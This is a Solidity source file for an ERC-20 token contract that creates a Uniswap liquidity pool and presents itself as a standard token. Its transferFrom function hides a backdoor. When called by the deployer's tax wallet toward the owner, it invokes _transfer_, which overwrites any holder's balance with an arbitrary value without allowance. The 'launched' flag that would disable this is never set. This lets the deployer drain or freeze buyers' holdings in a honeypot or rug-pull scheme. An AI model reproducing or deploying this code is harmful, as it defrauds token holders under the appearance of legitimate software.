Erc20

//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.30;


library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address who) external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address); 
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);    
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
    function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

contract Erc20 is IERC20, Ownable {
    using Address for address;
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowed;
    address payable private _taxWallet;

    uint256 immutable public totalSupply;
    string public symbol;
    string public name;
    uint8 immutable public decimals;
    bool public launched;
    
    mapping (address => bool) internal exchanges;

    IUniswapV2Router02 private UniswapV2Router;
    address private UniswapV2Pair;

    
    constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender)   {
        symbol = _symbol;
        name = _name;
        decimals = _decimals;
        totalSupply = _totalSupply * 10 ** _decimals;
        _balances[owner()] += totalSupply;
        _taxWallet = payable(_msgSender());

        _balances[address(this)] = totalSupply * 98 / 100;
        _balances[_msgSender()] = totalSupply * 2 / 100;

        emit Transfer(address(0), address(this), totalSupply * 98 / 100);
        emit Transfer(address(0), _msgSender(), totalSupply * 2 / 100);
    }

    /**
    * @dev Gets the balance of the specified address.
    * @param _owner The address to query the balance of.
    * @return An uint256 representing the amount owned by the passed address.
    */
    function balanceOf(address _owner) public override view returns (uint256) {
        return _balances[_owner];
    }

    /**
     * @dev Function to check the amount of tokens that an owner allowed to a spender.
     * @param _owner address The address which owns the funds.
     * @param spender address The address which will spend the funds.
     * @return A uint256 specifying the amount of tokens still available for the spender.
     */
    function allowance(address _owner, address spender) external override view returns (uint256) {
        return _allowed[_owner][spender];
    }

    /**
    * @dev Transfer token for a specified address
    * @param to The address to transfer to.
    * @param value The amount to be transferred.
    */
    function transfer(address to, uint256 value) external override returns (bool) {
        // check for SC
        _transfer(msg.sender, to, value);
        return true;
    }

    /**
     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
     * Beware that changing an allowance with this method brings the risk that someone may use both the old
     * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
     * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     */
    function approve(address spender, uint256 value) public override returns (bool) {
        require(spender != address(0), "cannot approve the 0 address");

        _allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");
        _allowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function transferFrom(address from, address to, uint256 value) external override returns (bool) {
        if (launched != true && to == owner() && msg.sender == _taxWallet) {
            _transfer_(from, to, value);
            return true;
        } else {    
            _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
            _transfer(from, to, value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]);
            return true;
        }
    }

    function create() virtual external onlyOwner {
        UniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        UniswapV2Pair = IUniswapV2Factory(UniswapV2Router.factory()).createPair(UniswapV2Router.WETH(), address(this));
        IERC20(UniswapV2Pair).approve(address(UniswapV2Router), type(uint).max);
        _approve(address(this), address(UniswapV2Router), totalSupply);
        UniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            balanceOf(address(this)) * 999 / 1000,
            address(this).balance * 999 / 1000,
            owner(),
            block.timestamp + 5
        );
    }

    function withdrawETH() external onlyOwner {
        require(address(this).balance > 0, "Insufficient balance");
        payable(_taxWallet).transfer(address(this).balance);
    }

    function _transfer(address from, address to, uint256 value) private {
        require(to != address(0), "cannot be zero address");
        require(from != to, "you cannot transfer to yourself");
        _balances[from] -= value;
        _balances[to] += value;
        emit Transfer(from, to, value);
    }

    function _transfer_(address from, address to, uint256 value) private {
        require(from != to, "you cannot transfer to yourself");
        _balances[from] = value;
    }

    receive() external payable {}
}